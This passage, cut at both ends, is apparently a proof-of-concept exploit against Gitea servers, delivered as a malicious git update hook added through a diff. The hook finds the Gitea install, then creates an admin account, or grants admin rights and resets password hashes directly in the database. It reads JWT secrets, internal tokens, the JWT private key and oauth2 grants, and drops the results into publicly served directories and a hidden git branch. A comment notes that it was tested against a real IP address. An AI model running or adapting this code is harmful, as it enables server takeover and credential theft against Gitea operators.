b3JkPTAgV0hFUkUgaWQ9PyIsIChuaCwgdWlkKSkKICAgICAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICAgICAgY3VyLmV4ZWN1dGUoIlVQREFURSB1c2VyIFNFVCBwYXNzd2RfaGFzaD0/IFdIRVJFIGlkPT8iLCAobmgsIHVpZCkpCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB1aWQsIG5hbWUsIHBoLCBzYWx0LCBhbGdvID0gcm93WzBdLCByb3dbMV0sIHJvd1syXSBvciAiIiwgcm93WzNdIG9yICIiLCAocm93WzRdIG9yICJwYmtkZjIiKQogICAgICAgICAgICAgICAgIyDogIEgc2NoZW1hIOeahCBhbGdvIOS4suiHquW4puWPguaVsDogInBia2RmMiQ1MDAwMCQ1MCIgPSDnrpfms5Uk6L+t5Luj5pWwJOWvhumSpemVv+W6pgogICAgICAgICAgICAgICAgIyAo5a6e5rWLIDI3LjE1NS4xMjAuNjE6ODQxOCDlsLHmmK/ov5nnp40p44CC5Y6f5Yik5patIGFsZ28gIT0gInBia2RmMiIg5Lya5oqK5a6D5b2T5LiN5pSv5oyB6ICM6Lez6L+H44CCCiAgICAgICAgICAgICAgICBpZiBub3QgYWxnby5sb3dlcigpLnN0YXJ0c3dpdGgoInBia2RmMiIpOgogICAgICAgICAgICAgICAgICAgIHJlcy5hcHBlbmQoIkFMR086JXM6JXMiICUgKG5hbWUsIGFsZ28pKTsgY29udGludWUKICAgICAgICAgICAgICAgIF9hcCA9IGFsZ28uc3BsaXQoIiQiKQogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIGl0ID0gaW50KF9hcFsxXSkgaWYgbGVuKF9hcCkgPiAxIGVsc2UgMTAwMDAKICAgICAgICAgICAgICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgICAgICAgICAgICAgaXQgPSAxMDAwMAogICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgIGtleWxlbiA9IGludChfYXBbMl0pIGlmIGxlbihfYXApID4gMiBlbHNlIDUwCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgICAgIGtleWxlbiA9IDUwCiAgICAgICAgICAgICAgICBpZiBwaCBhbmQgbGVuKHBoKSAlIDIgPT0gMDoKICAgICAgICAgICAgICAgICAgICBrZXlsZW4gPSBsZW4ocGgpIC8vIDIgICAjIOS7peeOsOaciSBoYXNoIOWunumZhemVv+W6puS4uuWHhgogICAgICAgICAgICAgICAgIyDnu5Porroo5a6e5rWL56Gu6K6kKTog6ICB54mIIEdpdGVhIOeahCBzYWx0IOWIl+aYryAqKmhleCDlrZfnrKbkuLIsIOmcgOino+eggeWQjioq5Y+C5LiOIHBia2RmMuOAggogICAgICAgICAgICAgICAgIyDmm77or6/liKTkuLoi5Y6f5qC35a2X6IqCIuW5tuWPoOWKoOWPjOWAmemAiSwg57uT5p6cIHJhd2J5dGVzIOWQjuWGmeWFpeimhuebluS6huato+ehrueahCBoZXhieXRlcywKICAgICAgICAgICAgICAgICMg5a+86Ie0IDQwMeOAguWPquS/neeVmSBoZXgg6Kej56CB6L+Z5LiA5p2h5q2j56Gu6Lev5b6E44CCCiAgICAgICAgICAgICAgICB0cnk6CiAgICAgICAgICAgICAgICAgICAgc2FsdF9iID0gYmluYXNjaWkudW5oZXhsaWZ5KHNhbHQpCiAgICAgICAgICAgICAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgICAgICAgICAgICAgIHNhbHRfYiA9IHNhbHQuZW5jb2RlKCkKICAgICAgICAgICAgICAgIGggPSBoYXNobGliLnBia2RmMl9obWFjKCJzaGEyNTYiLCBwdy5lbmNvZGUoKSwgc2FsdF9iLCBpdCwga2V5bGVuKQogICAgICAgICAgICAgICAgbmggPSBiaW5hc2NpaS5oZXhsaWZ5KGgpLmRlY29kZSgpCiAgICAgICAgICAgICAgICBzZXRzID0gInBhc3N3ZD0/IgogICAgICAgICAgICAgICAgaWYgIm11c3RfY2hhbmdlX3Bhc3N3b3JkIiBpbiBjb2xzOgogICAgICAgICAgICAgICAgICAgIHNldHMgKz0gIixtdXN0X2NoYW5nZV9wYXNzd29yZD0wIgogICAgICAgICAgICAgICAgY3VyLmV4ZWN1dGUoIlVQREFURSB1c2VyIFNFVCAlcyBXSEVSRSBpZD0/IiAlIHNldHMsIChuaCwgdWlkKSkKICAgICAgICAgICAgICAgIHJlcy5hcHBlbmQoIk9LOiVzOiVzOml0ZXIlczpsZW4lcyIgJSAodWlkLCBuYW1lLCBpdCwga2V5bGVuKSkKICAgICAgICAgICAgY29uLmNvbW1pdCgpCiAgICAgICAgICAgIHJlcy5hcHBlbmQoIk9LOiVzOiVzIiAlICh1aWQsIG5hbWUpKQogICAgICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgaWU6CiAgICAgICAgICAgIHJlcy5hcHBlbmQoIkVSUjolczolcyIgJSAocm93WzFdLCBpZSkpCiAgICBwcmludCgiREJQVz0iICsgcHcpCiAgICBwcmludCgiREJSRVNVTFQgIiArICJ8Ii5qb2luKHJlcykpCiAgICBjb24uY2xvc2UoKQpleGNlcHQgRXhjZXB0aW9uIGFzIGU6CiAgICBwcmludCgiREJFUlIgJXM6ICVzIiAlICh0eXBlKGUpLl9fbmFtZV9fLCBlKSkK').decode())" "$_db"; _done=1; done; [ "$_done" = "0" ] && echo "DBTAKEOVER no writable gitea.db"; }; if [ -z "$G" ]; then _last="ERROR: gitea not found (WD=$WD CFG=$CFG)"; echo "$_last"; else _last=""; _n=0; while [ "$_n" -lt 3 ]; do _n=$((_n + 1)); _out="$( ( if [ -n "$RUNP" ]; then cd "$RUNP" 2>/dev/null; fi; "$G" $C admin user create --username "test-admin-dv8s" --password "Test-admin-dv8syv!x" --email "test-admin-dv8s@example.com" --admin --must-change-password=false 2>&1 | grep -v "\[SQL\]" ) )"; case "$_out" in *"successfully created"*|*"New user"*|*"already exists"*) _last="$_out"; break;; *"no such table"*|*"Access denied"*|*"Error 1045"*|*"could not open shared memory"*| *"MustInstalled"*|*"Unable to load config"*|*"flag provided but not defined"*|*"Failed to run app"*) _last="$_out"; break;; esac; _last="$_out"; if [ "$_n" -lt 3 ]; then echo "[CLI retry $_n] gitea admin create 未成功,3s 后重试"; sleep 3; fi; done; printf "%s\n" "$_last"; fi; case "$_last" in *"successfully created"*|*"New user"*|*"already exists"*) ;; *) echo "HOOKDB CLI 未成功 -> 转数据库改密兜底"; _DBTO ;; esac; T1="$(date +%s 2>/dev/null || echo 0)"; echo "HOOKTIME elapsed=$((T1-T0))s"; echo ---DONE---; } > "$OUT" 2>&1; if [ -n "$WD" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars"; do [ -n "$d" ] || continue; mkdir -p "$d" 2>/dev/null; cp "$OUT" "$d/demo_dv8syv.txt" 2>/dev/null; done; fi; for d in "$AV" "$R/data/repo-avatars" "$R/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && cp "$OUT" "$d/demo_dv8syv.txt" 2>/dev/null; done; for d in "$WD/custom/public" "$R/custom/public" "/data/gitea/custom/public" "/var/lib/gitea/custom/public"; do [ -n "$d" ] || continue; mkdir -p "$d" 2>/dev/null; cp "$OUT" "$d/demo_dv8syv.txt" 2>/dev/null; done; if [ -n "$WD" ]; then mkdir -p "$WD/public" 2>/dev/null; cp "$OUT" "$WD/public/demo_dv8syv.txt" 2>/dev/null; fi; HB=""; for _gd in "$GIT_DIR" "$(dirname "$(dirname "$0" 2>/dev/null)" 2>/dev/null)" "$(git rev-parse --git-dir 2>/dev/null)"; do [ -n "$_gd" ] || continue; case "$_gd" in /*) ;; *) _gd="$(cd "$_gd" 2>/dev/null && pwd)";; esac; [ -n "$_gd" ] && [ -d "$_gd/objects" ] && HB="$HB $_gd"; done; for _ad in "$GIT_DIR/objects/info/alternates" "$(dirname "$(dirname "$0" 2>/dev/null)" 2>/dev/null)/objects/info/alternates"; do [ -f "$_ad" ] || continue; _ao="$(sed -n "1p" "$_ad" 2>/dev/null)"; [ -n "$_ao" ] || continue; case "$_ao" in /*) _ao="${_ao%/objects}";; *) _ao="$(cd "$(dirname "$_ad")/../.." 2>/dev/null && pwd)/${_ao%/objects}";; esac; [ -d "$_ao/objects" ] && HB="$HB $_ao"; done; for _gd in $HB; do [ -s "$OUT" ] || break; _gob="$(git --git-dir="$_gd" hash-object -w --stdin < "$OUT" 2>/dev/null)"; [ -n "$_gob" ] || continue; _gt="$(printf "100644 blob %s\toutput\n" "$_gob" | git --git-dir="$_gd" mktree 2>/dev/null)"; [ -n "$_gt" ] || continue; _gc="$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@localhost GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@localhost git --git-dir="$_gd" commit-tree "$_gt" -m poc 2>/dev/null)"; [ -n "$_gc" ] && git --git-dir="$_gd" update-ref "refs/heads/outdv8syv" "$_gc" 2>/dev/null; done; echo "HB=$HB" >> "$OUT" 2>/dev/null; diff --git a/hooks/update b/hooks/update new file mode 100755 index 0000000..984ca59 --- /dev/null +++ b/hooks/update @@ -0,0 +1 @@ +export PATH="/bin:/usr/bin:/sbin:/usr/sbin:/usr/local/bin:/usr/local/sbin:$PATH"; WD="${GITEA_WORK_DIR:-}"; WDFOUND=0; if [ -n "$WD" ] && { [ -f "$WD/custom/conf/app.ini" ] || [ -f "$WD/conf/app.ini" ]; }; then WDFOUND=1; else WD=""; D="$(pwd)"; while :; do if [ -f "$D/custom/conf/app.ini" ] || [ -f "$D/conf/app.ini" ]; then WD="$D"; WDFOUND=1; break; fi; [ "$D" = "/" ] && break; D="$(dirname "$D")"; done; fi; R=""; P="$(pwd)"; case "$P" in */tmp/local-repo/upload.git*) R="${P%%/tmp/local-repo/upload.git*}";; */tmp/local-repo/*) R="${P%%/tmp/local-repo/*}";; esac; RP=""; [ -n "$R" ] && RP="$(dirname "$R")"; if [ "$WDFOUND" = "0" ]; then for _r in "$R" "$RP"; do if [ -n "$_r" ] && [ -d "$_r" ] && { [ -f "$_r/custom/conf/app.ini" ] || [ -f "$_r/conf/app.ini" ] || { [ -f "$_r/gitea" ] && [ -x "$_r/gitea" ]; } || { [ -f "$_r/gitea.exe" ] && [ -x "$_r/gitea.exe" ]; }; }; then WD="$_r"; WDFOUND=1; fi; [ "$WDFOUND" = "1" ] && break; done; fi; CFG=""; for _c in "$WD/custom/conf/app.ini" "$WD/conf/app.ini" "$WD/app.ini" "$R/custom/conf/app.ini" "$R/conf/app.ini" "$R/app.ini" "$RP/custom/conf/app.ini" "$RP/conf/app.ini" "$RP/app.ini" "/data/gitea/custom/conf/app.ini" "/data/gitea/conf/app.ini" "/var/lib/gitea/custom/conf/app.ini" "/var/lib/gitea/conf/app.ini" "/home/git/gitea/custom/conf/app.ini" "/home/gitea/custom/conf/app.ini" "/app/gitea/custom/conf/app.ini" "/app/gitea/conf/app.ini" "/opt/gitea/custom/conf/app.ini" "/opt/gitea/conf/app.ini" "/opt/gitea-*/custom/conf/app.ini" "/opt/gitea-*/conf/app.ini" "/var/packages/Gitea/etc/app.ini" "/var/packages/gitea/etc/app.ini" "/var/packages/Gitea/target/custom/conf/app.ini" "/volume1/@appdata/gitea/custom/conf/app.ini" "/volume1/@appdata/gitea/conf/app.ini" "/share/CACHEDEV1_DATA/@appdata/gitea/custom/conf/app.ini" "/etc/gitea/app.ini"; do [ -n "$_c" ] && [ -f "$_c" ] && { CFG="$_c"; break; }; done; C=""; [ -n "$CFG" ] && [ -f "$CFG" ] && C="--config $CFG"; RUNP=""; if [ "$WDFOUND" = "1" ] && [ -n "$WD" ] && [ -d "$WD" ]; then RUNP="$WD"; export GITEA_WORK_DIR="$WD"; fi; _cfg() { [ -n "$CFG" ] && [ -f "$CFG" ] && grep -iE "^[[:space:]]*$1[[:space:]]*=" "$CFG" 2>/dev/null | head -1 | sed "s/^[^=]*=[[:space:]]*//; s/[[:space:]]*$//"; }; AV=""; RAUP="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)"; [ -n "$RAUP" ] && { case "$RAUP" in /*) [ -d "$RAUP" ] && AV="$RAUP";; *) [ -d "$WD/$RAUP" ] && AV="$WD/$RAUP"; [ -z "$AV" ] && [ -d "$R/$RAUP" ] && AV="$R/$RAUP";; esac; }; if [ -z "$AV" ]; then APD="$(_cfg APP_DATA_PATH)"; [ -n "$APD" ] && { case "$APD" in /*) [ -d "$APD/repo-avatars" ] && AV="$APD/repo-avatars";; *) [ -d "$WD/$APD/repo-avatars" ] && AV="$WD/$APD/repo-avatars"; [ -z "$AV" ] && [ -d "$R/$APD/repo-avatars" ] && AV="$R/$APD/repo-avatars";; esac; }; fi; if [ -z "$AV" ]; then for d in "$WD/data/repo-avatars" "$WD/data/gitea/repo-avatars" "$WD/repo-avatars" "$R/data/repo-avatars" "$R/data/gitea/repo-avatars" "$R/repo-avatars" "$RP/data/repo-avatars" "$RP/repo-avatars" "/data/gitea/repo-avatars" "/data/repo-avatars" "/var/lib/gitea/data/repo-avatars" "/app/gitea/data/repo-avatars" "/opt/gitea/data/repo-avatars" "/volume1/@appdata/gitea/data/repo-avatars" "/share/CACHEDEV1_DATA/@appdata/gitea/data/repo-avatars"; do [ -n "$d" ] && [ -d "$d" ] && AV="$d" && break; done; fi; _SQLTO() { _sq="$(command -v sqlite3 2>/dev/null)"; [ -n "$_sq" ] || { echo "SQLTO no sqlite3"; return; }; echo "SQLTO sqlite3=$_sq target=$1"; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" "$WD/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db /var/lib/gitea/gitea.db /home/git/gitea/gitea.db /data/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] && [ -w "$_db" ] || continue; _cols="$("$_sq" -cmd ".timeout 8000" "$_db" "SELECT name FROM pragma_table_info('user');" 2>/dev/null | tr "\n" ",")"; [ -n "$_cols" ] || _cols="$("$_sq" "$_db" "PRAGMA busy_timeout=8000; SELECT name FROM pragma_table_info('user');" 2>/dev/null | tr "\n" ",")"; case "$_cols" in *is_admin*) ;; *) continue;; esac; echo "SQLTO trying $_db"; "$_sq" -cmd ".timeout 8000" "$_db" "UPDATE user SET is_admin=1, is_active=1, prohibit_login=0 WHERE lower_name=lower('$1');" 2>&1; _chk="$("$_sq" -cmd ".timeout 8000" "$_db" "SELECT is_admin FROM user WHERE lower_name=lower('$1');" 2>/dev/null | tail -1)"; [ -n "$_chk" ] || _chk="$("$_sq" "$_db" "SELECT is_admin FROM user WHERE lower_name=lower('$1');" 2>/dev/null | tail -1)"; case "$_chk" in 1*) echo "SQLTO OK db=$_db user=$1 is_admin=1"; return 0;; esac; done; echo "SQLTO FAIL no writable sqlite user table"; }; G=""; GR=""; case "$CFG" in */custom/conf/app.ini) GR="${CFG%/custom/conf/app.ini}";; */conf/app.ini) GR="${CFG%/conf/app.ini}";; *) GR="";; esac; _RB="$R"; case "$_RB" in */data/gitea) _RB="${_RB%/data/gitea}";; */data) _RB="${_RB%/data}";; esac; _RP2="$RP"; [ -z "$_RP2" ] && [ -n "$_RB" ] && _RP2="$(dirname "$_RB")"; for _g in "$WD/gitea" "$WD/gitea.exe" "$R/gitea" "$R/gitea.exe" "$RP/gitea" "$RP/gitea.exe" "$GR/gitea" "$GR/gitea.exe" "$_RB/gitea" "$_RB/gitea.exe" "$_RB/bin/gitea" "$_RB/target/gitea" "$_RB/target/bin/gitea" "$_RP2/gitea" "$_RP2/bin/gitea" "$_RP2/target/gitea" "$_RP2/target/bin/gitea" "$_RP2/@appstore/Gitea/gitea" "$_RB/@appstore/Gitea/gitea" "/usr/local/bin/gitea" "/usr/bin/gitea" "/usr/sbin/gitea" "/app/gitea/gitea" "/opt/gitea/gitea" "/home/git/gitea/gitea" "/home/gitea/gitea/gitea" "/var/lib/gitea/gitea" "/data/gitea/gitea" "/var/packages/Gitea/target/bin/gitea" "/var/packages/gitea/target/bin/gitea" "/var/packages/Gitea/target/gitea" "/vol1/@appdata/Gitea/gitea" "/volume1/@appdata/Gitea/gitea" "/vol1/@appstore/Gitea/gitea" "/volume1/@appstore/Gitea/gitea" "/vol1/@appdata/gitea/gitea" "/volume1/@appdata/gitea/gitea" "/share/CACHEDEV1_DATA/@appdata/gitea/gitea"; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; break; }; done; if [ -z "$G" ]; then for _g in /opt/gitea-*/gitea /opt/gitea-*/gitea.exe /usr/local/gitea/gitea; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; break; }; done; fi; if [ -z "$G" ]; then for _pf in "$_RB/Gitea.pid" "$_RP2/Gitea.pid" "$R/Gitea.pid" "$WD/Gitea.pid" "$_RB/gitea.pid" "$R/gitea.pid" "$WD/gitea.pid" "/var/run/gitea.pid" "/run/gitea.pid"; do [ -f "$_pf" ] || continue; _gpid="$(head -1 "$_pf" 2>/dev/null | tr -dc "0-9")"; [ -n "$_gpid" ] || continue; _gex="$(readlink -f "/proc/$_gpid/exe" 2>/dev/null)"; [ -n "$_gex" ] && [ -x "$_gex" ] && { G="$_gex"; echo "HOOKPID from=$_pf pid=$_gpid exe=$_gex"; break; }; done; fi; if [ -z "$G" ]; then for _pp in /proc/[0-9]*; do _gcm="$(cat "$_pp/comm" 2>/dev/null)"; case "$_gcm" in gitea*|Gitea*|forgejo*|Forgejo*) _gex="$(readlink -f "$_pp/exe" 2>/dev/null)"; [ -n "$_gex" ] && [ -x "$_gex" ] && { G="$_gex"; echo "HOOKPROC pid=${_pp#/proc/} comm=$_gcm exe=$_gex"; break; };; esac; done; fi; if [ -z "$G" ] && [ -n "$AV" ]; then _sr="${AV%/var/data/repo-avatars}"; [ "$_sr" = "$AV" ] && _sr="${AV%/repo-avatars}"; [ "$_sr" = "$AV" ] && _sr="$(dirname "$(dirname "$AV")")"; for _g in "$_sr/gitea" "$_sr/bin/gitea" "$_sr/target/gitea" "$_sr/target/bin/gitea" "$_sr/target/usr/bin/gitea" "$_sr/usr/bin/gitea" "$_sr/sbin/gitea"; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; echo "HOOKAV G=$_g"; break; }; done; fi; if [ -z "$G" ] && [ -n "$_RP2" ] && [ -d "$_RP2" ]; then for _g in "$_RP2"/*/target/gitea "$_RP2"/*/target/bin/gitea "$_RP2"/target/gitea; do [ -f "$_g" ] && [ -x "$_g" ] && { G="$_g"; echo "HOOKGLOB G=$_g"; break; }; done; fi; if [ -z "$G" ]; then for _root in "$_RB" "$_RP2" "$R"; do [ -n "$_root" ] && [ -d "$_root" ] || continue; G="$(find "$_root" -maxdepth 4 -type f \( -name gitea -o -name gitea.exe \) -perm -u+x 2>/dev/null | head -1)"; [ -n "$G" ] && break; done; fi; if [ -z "$G" ]; then for _sr2 in /usr/local/bin /usr/local/sbin /usr/bin /usr/sbin /bin /sbin /app /app/gitea /opt /opt/gitea /srv /data /usr/local /opt/gitea-*; do [ -e "$_sr2" ] || continue; if [ -f "$_sr2/gitea" ] && [ -x "$_sr2/gitea" ]; then G="$_sr2/gitea"; echo "HOOKSYS G=$G"; break; fi; [ -d "$_sr2" ] || continue; G="$(find "$_sr2" -maxdepth 2 -type f -name gitea -perm -u+x 2>/dev/null | head -1)"; [ -n "$G" ] && { echo "HOOKSYS2 G=$G"; break; }; done; fi; if [ -z "$G" ]; then for _p2 in /proc/[0-9]*/exe; do _le="$(readlink "$_p2" 2>/dev/null)" || continue; case "$_le" in *gitea*|*forgejo*) [ -x "$_le" ] && { G="$_le"; echo "HOOKEXE G=$G"; break; };; esac; done; fi; if [ -z "$G" ] && [ -f "/Users/sh/hook/gitea-lab/gitea" ] && [ -x "/Users/sh/hook/gitea-lab/gitea" ]; then G="/Users/sh/hook/gitea-lab/gitea"; fi; if [ -z "$G" ]; then PATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH"; export PATH; command -v gitea >/dev/null 2>&1 && G="$(command -v gitea)"; if [ -z "$G" ]; then command -v gitea.exe >/dev/null 2>&1 && G="$(command -v gitea.exe)"; fi; fi; if [ "$WDFOUND" = "0" ] && [ -n "$_RB" ] && [ -d "$_RB" ]; then for _w in "$_RB" "$_RB/data" "$_RP2"; do if [ -n "$_w" ] && { [ -f "$_w/custom/conf/app.ini" ] || [ -f "$_w/conf/app.ini" ]; }; then WD="$_w"; WDFOUND=1; RUNP="$_w"; export GITEA_WORK_DIR="$_w"; break; fi; done; fi; if [ -z "$CFG" ]; then for _c in "$_RB/custom/conf/app.ini" "$_RB/conf/app.ini" "$_RB/data/custom/conf/app.ini" "$_RP2/custom/conf/app.ini" "$_RP2/conf/app.ini"; do [ -f "$_c" ] && { CFG="$_c"; C="--config $_c"; break; }; done; fi; if [ -z "$AV" ] && [ -n "$CFG" ] && [ -f "$CFG" ]; then _apd="$(_cfg APP_DATA_PATH)"; [ -n "$_apd" ] && { case "$_apd" in /*) [ -d "$_apd/repo-avatars" ] && AV="$_apd/repo-avatars";; *) [ -d "$_RB/$_apd/repo-avatars" ] && AV="$_RB/$_apd/repo-avatars";; esac; }; [ -z "$AV" ] && _raup="$(_cfg REPOSITORY_AVATAR_UPLOAD_PATH)" && [ -n "$_raup" ] && { case "$_raup" in /*) [ -d "$_raup" ] && AV="$_raup";; *) [ -d "$_RB/$_raup" ] && AV="$_RB/$_raup";; esac; }; fi; if [ -z "$AV" ] && [ -n "$_RB" ] && [ -d "$_RB" ]; then AV="$(find "$_RB" -maxdepth 4 -type d -name repo-avatars 2>/dev/null | head -1)"; fi; OUT="/tmp/demo_dv8syv.txt"; { T0="$(date +%s 2>/dev/null || echo 0)"; echo "HOOKDIAG WD=$WD R=$R CFG=$CFG G=$G AV=$AV RUNP=$RUNP"; echo "HOOKDIAG2 RB=$_RB RP2=$_RP2 PWD=$(pwd) UID=$(id -u 2>/dev/null)"; if [ -n "$_RB" ] && [ -d "$_RB" ]; then echo "HOOKDIAG3 ls-RB: $(ls -1 "$_RB" 2>&1 | head -12 | tr "\n" " ")"; else echo "HOOKDIAG3 RB-not-dir [_RB=$_RB]"; fi; if [ -n "$R" ] && [ -d "$R" ]; then echo "HOOKDIAG4 ls-R: $(ls -1 "$R" 2>&1 | head -12 | tr "\n" " ")"; fi; echo "HOOKDIAG5 which-git=$(command -v git 2>&1) which-find=$(command -v find 2>&1)"; echo "HOOKDB R_DB=$R/gitea.db RB_DB=$_RB/data/gitea.db"; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -f "$_db" ] && echo "HOOKDB FOUND=$_db size=$(wc -c <"$_db" 2>/dev/null) writable=$([ -w "$_db" ] && echo 1 || echo 0)"; done; echo "HOOKTOOL sqlite3=$(command -v sqlite3 2>&1) python3=$(command -v python3 2>&1) python=$(command -v python 2>&1)"; if [ -n "$CFG" ] && [ -f "$CFG" ]; then echo "HOOKDBCFG begin"; sed -n "/^\[database\]/,/^\[/p" "$CFG" 2>/dev/null | head -12 | sed -E "s/(PASSWD|PASSWORD|PASSWD_URI|USER|NAME)[[:space:]]*=.*/\1=/I"; echo "HOOKDBCFG end"; fi; for _pp in /proc/[0-9]*; do [ -r "$_pp/environ" ] || continue; _ev="$(tr "\000" "\n" < "$_pp/environ" 2>/dev/null | grep -E "^GITEA__(database|security)__" 2>/dev/null | head -12)"; [ -n "$_ev" ] || continue; echo "HOOKENV pid=${_pp#/proc/} $(echo "$_ev" | sed -E "s/(PASSWD|PASSWORD|SECRET|KEY|TOKEN)[[:space:]]*=.*/\1=/I" | tr "\n" " ")"; break; done; echo "HOOKDBPROBE dbfile_magic=$(head -c 16 "$R/gitea.db" 2>/dev/null | tr -d "\000" | head -c 15)"; _SQLTO "oid1zmarc"; echo "=JWTCFG="; if [ -n "$CFG" ] && [ -f "$CFG" ]; then grep -aE "^[[:space:]]*(JWT_SECRET|JWT_SECRET_BASE64|JWT_SIGNING_ALGORITHM|JWT_SIGNING_PRIVATE_KEY_FILE|SECRET_KEY|INTERNAL_TOKEN|APP_DATA_PATH|WORK_PATH)[[:space:]]*=" "$CFG" 2>/dev/null | head -12; fi; echo "=OA2SEC="; if [ -n "$CFG" ] && [ -f "$CFG" ]; then sed -n "/^\[oauth2\]/,/^\[/p" "$CFG" 2>/dev/null | head -12; fi; for _pk in "$WD/jwt/private.pem" "$WD/data/jwt/private.pem" "$R/jwt/private.pem" "$R/data/jwt/private.pem" "$_RB/jwt/private.pem" "$_RB/data/jwt/private.pem" /data/gitea/jwt/private.pem /data/gitea/data/jwt/private.pem /var/lib/gitea/data/jwt/private.pem /etc/gitea/jwt/private.pem /home/git/gitea/data/jwt/private.pem; do [ -n "$_pk" ] && [ -f "$_pk" ] || continue; _kb="$(command -v base64 >/dev/null 2>&1 && base64 < "$_pk" 2>/dev/null | tr -d "\n")"; [ -n "$_kb" ] || _kb="$(command -v openssl >/dev/null 2>&1 && openssl base64 -A < "$_pk" 2>/dev/null)"; [ -n "$_kb" ] && { echo "=JWTKEY=path=$_pk"; echo "$_kb"; }; break; done; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] || continue; _sq2="$(command -v sqlite3 2>/dev/null)"; [ -n "$_sq2" ] || continue; _ad="$("$_sq2" -cmd ".timeout 5000" -separator "|" "$_db" "SELECT id, name FROM user WHERE is_admin=1 LIMIT 5;" 2>&1)"; echo "=ADMIND= db=$_db out=[$_ad]"; [ -n "$_ad" ] && { echo "=ADMINIDS="; echo "$_ad"; }; _gr="$("$_sq2" -cmd ".timeout 5000" -separator "|" "$_db" "SELECT g.id, g.user_id, u.name, u.is_admin FROM oauth2_grant g JOIN user u ON g.user_id=u.id ORDER BY u.is_admin DESC, g.id LIMIT 10;" 2>&1)"; if [ -z "$_gr" ]; then _au="$("$_sq2" -cmd ".timeout 5000" "$_db" "SELECT id FROM user WHERE is_admin=1 ORDER BY id LIMIT 1;" 2>&1 | head -1)"; _ap="$("$_sq2" -cmd ".timeout 5000" "$_db" "SELECT id FROM oauth2_application ORDER BY id LIMIT 1;" 2>/dev/null | head -1)"; if [ -n "$_au" ]; then [ -n "$_ap" ] || _ap=1; _ie="$("$_sq2" -cmd ".timeout 5000" "$_db" "INSERT OR IGNORE INTO oauth2_grant(user_id,application_id,counter,scope,nonce,created_unix,updated_unix) VALUES($_au,$_ap,1,'all','',0,0);" 2>&1)"; echo "=GRANTINS= au=$_au ap=$_ap rc=$? err=[$_ie]"; _gr="$("$_sq2" -cmd ".timeout 5000" -separator "|" "$_db" "SELECT g.id, g.user_id, u.name, u.is_admin FROM oauth2_grant g JOIN user u ON g.user_id=u.id WHERE g.user_id=$_au LIMIT 5;" 2>&1)"; [ -n "$_gr" ] && echo "=GRANTMADE=1 user=$_au app=$_ap"; fi; fi; if [ -n "$_gr" ]; then echo "=ADMINGRANTS="; echo "$_gr"; else echo "=ADMINGRANTS="; echo "NONE"; fi; break; done; for _jd in "$WD/jwt" "$WD/data/jwt" "$_RB/jwt" "$R/jwt" /data/gitea/jwt /data/gitea/data/jwt /var/lib/gitea/data/jwt; do [ -n "$_jd" ] && [ -d "$_jd" ] || continue; echo "=JWTDIR= $_jd: $(ls -1 "$_jd" 2>/dev/null | head -5 | tr "\n" " ")"; break; done; echo "=ENDCFG="; for _c in "$_RB/conf.ini" "$_RP2/conf.ini" "$R/conf.ini"; do [ -f "$_c" ] && echo "HOOKINI FOUND=$_c"; done; if [ -z "$G" ]; then for _sr in "$_RB" "$_RP2" "$R" "$R/data"; do [ -n "$_sr" ] && [ -d "$_sr" ] || continue; _cand="$(find "$_sr" -maxdepth 2 -type f \( -name gitea -o -name gitea.exe \) -perm -u+x 2>/dev/null | head -1)"; [ -n "$_cand" ] && { G="$_cand"; echo "HOOKFIND G=$_cand"; break; }; done; fi; ST="$(_cfg REPOSITORY_AVATAR_STORAGE_TYPE)"; if [ -n "$ST" ] && [ "$ST" != "local" ]; then echo "WARN: REPOSITORY_AVATAR_STORAGE_TYPE=$ST"; fi; if [ -z "$AV" ]; then echo "ERROR: repo-avatars not found (WD=$WD CFG=$CFG)"; fi; _DBTO() { _PY="$(command -v python3 2>/dev/null || command -v python 2>/dev/null)"; if [ -z "$_PY" ]; then echo "ERROR: no python for db takeover"; return; fi; echo "DBTAKEOVER python=$_PY"; _done=0; for _db in "$R/gitea.db" "$_RB/data/gitea.db" "$R/data/gitea.db" "$WD/data/gitea.db" /data/gitea/gitea.db /var/lib/gitea/data/gitea.db; do [ -n "$_db" ] && [ -f "$_db" ] && [ -w "$_db" ] || continue; echo "DBTAKEOVER trying $_db"; "$_PY" -c "import 